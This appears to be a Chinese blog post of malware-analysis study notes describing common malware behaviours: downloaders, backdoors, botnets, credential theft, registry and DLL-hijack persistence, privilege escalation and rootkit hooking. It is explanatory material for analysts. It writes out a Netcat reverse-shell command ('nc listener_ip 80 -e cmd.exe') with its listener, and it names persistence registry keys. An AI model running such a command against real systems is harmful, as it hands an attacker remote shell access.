恶意代码分析———恶意代码行为

前面都在关注恶意代码分析,很少关注恶意代码能够做什么,接下来是熟悉恶意代码最常见的行为特征。

功能

下载器和启动器

常见的两中恶意代码是下载器和启动器,下载器从互联网上下载其他的恶意代码,然后在本地系统中运行。下载器通常会与漏洞利用打包在一起,下载器常用Windows API函数URLDownloadtoFileA和WinExec,来下载并运行新的恶意代码。
启动器(也称为加载器)是一类可执行文件,用来安装立即运行或者秘密执行的代码。启动器通常包含一个它要加载的恶意代码。

后门(backdoor)

后门是另一种类型的恶意代码,它能让攻击者远程访问一个受害的机器。它们拥有许多功能,并且以多种形式与大小存在。后门代码往往实现了全套功能,所以当使用一个后门时,攻击者通常不需要下载额外的恶意代码。
后门程序利用互联网的通讯方式是多样的,但是一个常用的方法是利用80端口使用http协议,http是出站流量最常使用的协议,所以它为恶意代码提供了一个与其他流量混淆的好机会。后门拥有一套通用的功能,比如操作注册表,列举窗口,创建目录,搜索文件等等。查看后门使用和导入的Windows函数,可以确定后门程序实现的功能。

反向shell

反向shell是从被感染机器上发起一个连接,它提供攻击者shell访问被感染机器的权限,反向shell或者作为一个单独的恶意代码存在,或者作为一个复杂后门 程序的组件而存在,在反向shell中,攻击者能够如同在本地系统上运行命令一样。

Netcat反向shell

可以通过在两台机器上运行Netcat,创建一个反向shell。同时,攻击者已经知道在恶意代码中使用Netcat,或者和其他程序一起打包使用。
Netcat被作为一个反向shell使用,远程机器(攻击者)使用下列命令,等待入站连接。

1
2
nc -l -p
-l选项设置Netcat为监听模式,-p用来设置监听端口。

受害机器会自动向外连接,并使用下列命令提供shell。

1
2
nc listener_ip 80 -e cmd.exe
listener_ip是远程机器(攻击者)的ip地址和端口,-e选项用来指定连接建立后要运行的程序(windows系统中,最常使用cmd.exe)。

windwos反向shell

使用cmd.exe作为windonws系统中的反向shell,有两种简单的恶意代码实现:基础方法和多线程技术
基础方法:在恶意代码编写者之间比较流行。因为它容易编写,且效果与多线程技术一致,

僵尸网络

僵尸网络是被感染主机(僵尸主机)的一个集合。它们由单一实体控制,通常由一个称为僵尸控制器的机器作为服务器。僵尸网络的目标是尽可能多地感染机器,来构建一个更大的僵尸主机,从而是僵尸网络传播其它的恶意代码或蠕虫,或者分布式拒绝服务(DDoS)攻击。
DDoS:在实施分布式拒绝服务攻击时,所有的僵尸主机会在同一时刻访问同一个站点,僵尸网络能够让这个站点挂掉。

远程控制工具与僵尸网络的比较

在远程控制工具与僵尸网络之间有些不同:
1、僵尸网络感染和控制数以百万的主机。远程控制工具通常只控制很少数量的主机
2、僵尸网络中的所有主机在同一时候被控制。远程控制工具是以每个受害者为单位进行远程控制,因为远程控制工具要求攻击者与受害主机之间更紧密的联系。
3、远程控制工具被用来执行针对性的攻击,而僵尸网络用来进行大规模攻击。

登录凭证窃密器

攻击者经常会不遗余力地去窃取登录凭证,主要使用下面三种类型的恶意代码
1、等待用户登录以窃取登录凭证的程序
2、转储Windows系统中存放信息的程序,例如:密码哈希值,程序直接使用,或者对它进行离线破解。
3、键盘记录器

GINA(验证界面)拦截

在Windows xp系统中,恶意代码使用微软图像识别和验证界面(GINA)拦截技术来窃取用户的登录凭证。GINA的设计目的是让合法第三方通过添加一些代码,来自定义登录过程。恶意代码编写者利用GINA对第三方的支持来加载窃密器。
GINA在msgina.dll中实现,这个dll在用户登录系统过程中由winlogon可执行文件加载。winlogon也为第三方制定实现dll程序工作,在winlogon与GINA DLL之间加载第三方(类似中间人攻击)。为了方便,windows用下列注册表项,来存储winlogon加载的第三方dll。
恶意代码必须包含GINA要求的所有导出函数。具体而言,它必须导出超过15个函数,且大部分前缀是Wlx。显然,如果你分析一个dll有许多包含前缀Wlx的导出函数,那么你就有很充分的理由判定你正在分析的样本是一个GINA拦截器。

口令哈希转储

转储Windows口令哈希是恶意代码获取系统登录凭证的一种流行方法。攻击者试图抓取这些口令哈希,以便离线暴力破解。或者利用它们只需Pass-the-Hash攻击,这种攻击在无须破解或获取明文密码的情况下,使用LM或者NTLM哈希来通过远程主机的身份验证,从而获取访问权。

存活机制

一旦恶意代码获取系统的控制权,它通常就会在系统中驻留很长一段时间,恶意代码的这种行为被称为存活,如果存活机制足够特别,他甚至能作为给定恶意代码的指纹

windows注册表

工具

Sysinternals工具: 可以自动化的寻找出系统中自动启动程序。
ProcMon工具 : 帮助你在执行基本动态分析时,监控系统中的所有注册表修改。

AppInit_dll

恶意代码编写者可以通过一个名为AppInit_dll特殊注册表项来让他们的dll获得加载。AppInit_dll中的dll程序会在进程加载User32.dll时被加载。插入dll路径到注册表AppInit_dll,会让dll程序获得加载机会。

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost

Winlogon Notify

恶意代码编写者可以挂钩一个特殊的winlogon事件。如登录、注销、关机等等。这
甚至可以允许恶意软件在安全模式下加载。

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

特洛伊木马化(Trojanized)系统二进制文件

恶意代码通常修改一个系统文件的函数入口点,使它跳转到恶意代码。这些修改补丁覆盖函数的开始代码或者覆盖其他一些并不影响特洛伊木马化dll正常操作的代码。为了不影响二进制文件的正常操作,恶意的代码被加入到可执行的一个空节中。插入的代码通常用来加载恶意代码。加载恶意代码后,为了让dll的操作与插入前的代码一致,代码会跳转回原始的dll程序。

dll加载顺序劫持

dll加载顺序劫持是一种简单隐蔽的技术,它允许恶意代码编写者在不使用注册表项或者特洛伊二进制文件的前提下创建一个存活的、恶意的dll程序。
windows xp上加载dll的默认搜索顺序:
1、加载应用程序的目录
2、当前目录
3、系统目录
4、16位子系统的系统目录
5、Windows目录
6、path环境变量里列出的目录。

提权

使用SeDebugPrivilege

以用户权限运行的进程并没有任意访问系统一切资源的权限,也不能拥有这种权限。例如在远程进程中调用类似于TerminateProcess和CreateRemoteThread函数。恶意代码获得访问这些函数的权限的唯一方法是通过设置访问令牌的权限来开启SeDebugPrivilege。
SeDebugPrivilege特权作为一个系统级别调试的工具被创建,但是恶意代码编写者用它来获取 系统进程拥有的所有权限(默认情况本地管理员账户才有权限)。

隐藏它的踪迹-用户态的Rootkit

常用来隐藏恶意代码行为的工具被称为Rootkit。Rootkit有多种存在形式,但是大部分Rootkit通过修改操作系统内部的功能来工作。这种修改可以为恶意代码的文件、进程、网络连接以及其他资源对其他程序隐藏。
一些Rootkit会修改用户态的应用程序,但是大部分会修改内核,因为保护机制都运行在内核层。

IAT Hook

IAT Hook是用户空间中一种经典的Rootkit方法,它隐藏本地系统中的文件、进程以及网络连接,这种挂钩方法是修改导入地址表(IAT)或者导出地址表(EAT)。
一个IAT Hook的例子如下:正常调用函数与hook函数,修改IAT

上面的路径是正常执行流,下面路径是加入Rootkit后的执行流。不过IAT Hook是一种过时且容易探测的挂钩方式,因此现在的Rootkit都使用更高级的inline Hook方法代替。

Inline Hook

Inline Hook是通过覆盖导入dll中API函数代码来实现的,所以它必须等到dll被加载后才能执行。IAT Hook只简单修改函数指针,但是Inline Hook将修改函数实际的函数代码。
恶意Rootkit通常用一个跳转指令替换函数的开始代码来执行Inline Hook,这个跳转指令使Rootkit插入的恶意代码获取执行。另外,Rootkit还可以通过改变函数的代码来破坏它或者是改变它,而不是跳到恶意代码。
例如:一个Inline Hook函数ZwDeviceIoControlFile的例子,应用程序如Netstat,用这个函数来提取系统的网络信息。

现在,ZwDeviceIoControlFile会先调用Rootkit的函数,Rootkit的挂钩函数移除所有发送到目的端口443的流量以后,再调用真实的ZwDeviceIoControlFile函数,使一切操作与没有安装挂钩之前一样继续进行。

Donate
-------------本文结束感谢您的阅读-------------